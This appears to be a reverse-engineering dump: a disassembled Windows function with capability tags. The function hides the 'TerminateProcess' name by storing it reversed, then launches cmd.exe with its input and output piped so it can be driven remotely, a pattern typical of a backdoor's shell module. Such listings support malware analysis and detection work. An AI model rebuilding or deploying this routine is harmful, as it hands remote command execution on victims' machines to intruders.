Function at 0x1000bf90
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create process suspended
Create two anonymous pipes
Execute shell command and capture output
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x1001672b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18c
mov eax, dword [esp + 0x19c]
push ebx
push ebp
push esi
push edi
mov ebp, ecx
push eax
mov dword [esp + 0x34], ebp
call fcn.100084d0
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.MoveFileExA
push str.KERNEL32.dll
mov dword [esp + 0x1ac], 0
mov dword [ebp], 0x100175b0
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push str.DisconnectNamedPipe
push str.KERNEL32.dll
mov dword [ebp + 0x4c], eax
call ebx
push eax
call esi
mov dword [ebp + 0x50], eax
mov ecx, 7
xor eax, eax
lea edi, [esp + 0x78]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, str.ssecorPetanimreT
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x78]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x78]
push ecx
call dword [sym.imp.MSVCRT.dll__strrev]
add esp, 4
push eax
push str.KERNEL32.dll
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edx, edx
mov dword [ebp + 0x54], eax
mov dword [esp + 0x28], edx
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x38]
mov dword [esp + 0x34], edx
lea esi, [ebp + 0x68]
rep stosd dword es:[edi], eax
mov dword [esp + 0x18], eax
mov ecx, 0x40
mov dword [esp + 0x1c], eax
lea edi, [esp + 0x99]
mov dword [esp + 0x20], eax
mov byte [esp + 0x98], al
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edi, [ebp + 0x60]
lea ebx, [ebp + 0x6c]
mov dword [esp + 0x2c], edx
mov dword [esp + 0x14], edx
mov dword [edi], edx
mov dword [ebp + 0x64], edx
mov dword [esi], edx
mov dword [ebx], edx
lea ecx, [esp + 0x24]
push edx
push ecx
push ebx
push edi
mov dword [esp + 0x34], 0xc
mov dword [esp + 0x38], edx
mov dword [esp + 0x3c], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x1000c0f5
mov edi, dword [edi]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x1000c0e3
push edi
call esi
mov ebx, dword [ebx]
test ebx, ebx
je 0x1000c263
push ebx
call esi
jmp 0x1000c263
lea edx, [esp + 0x24]
push 0
lea edi, [ebp + 0x64]
push edx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x1000c12c
mov edi, dword [edi]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x1000c11a
push edi
call ebx
mov esi, dword [esi]
test esi, esi
je 0x1000c263
push esi
call ebx
jmp 0x1000c263
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x34]
rep stosd dword es:[edi], eax
mov dword [esp + 0x14], eax
lea ecx, [esp + 0x34]
mov dword [esp + 0x18], eax
push ecx
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [ebx]
mov edx, dword [esi]
mov dword [esp + 0x74], eax
mov dword [esp + 0x70], eax
lea eax, [esp + 0x98]
push 0x104
push eax
mov dword [esp + 0x3c], 0x44
mov word [esp + 0x6c], 0
mov dword [esp + 0x68], 0x101
mov dword [esp + 0x74], edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, str.cmd.exe
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x98]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x38]
lea edx, [esp + 0x9c]
push ecx
push 0
push 0
push 0x20
push 1
push 0
push 0
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1000c208
mov eax, dword [ebp + 0x60]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [ebp + 0x64]
push ecx
call esi
mov edx, dword [ebp + 0x68]
push edx
call esi
mov eax, dword [ebx]
push eax
call esi
jmp 0x1000c263
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x13]
mov dword [ebp + 0x70], ecx
push 1
push eax
mov ecx, ebp
mov dword [ebp + 0x74], edx
mov byte [esp + 0x1b], 0x83
call fcn.10008550
mov ecx, ebp
call fcn.100085c0
push 0
push 0
push 0
push ebp
push 0x1000c3d0
push 0
push 0
call fcn.1000f6f0
push 0
push 0
push 0
push ebp
push 0x1000c490
push 0
push 0
mov dword [ebp + 0x78], eax
call fcn.1000f6f0
add esp, 0x38
mov dword [ebp + 0x7c], eax
mov ecx, dword [esp + 0x19c]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x198
ret 4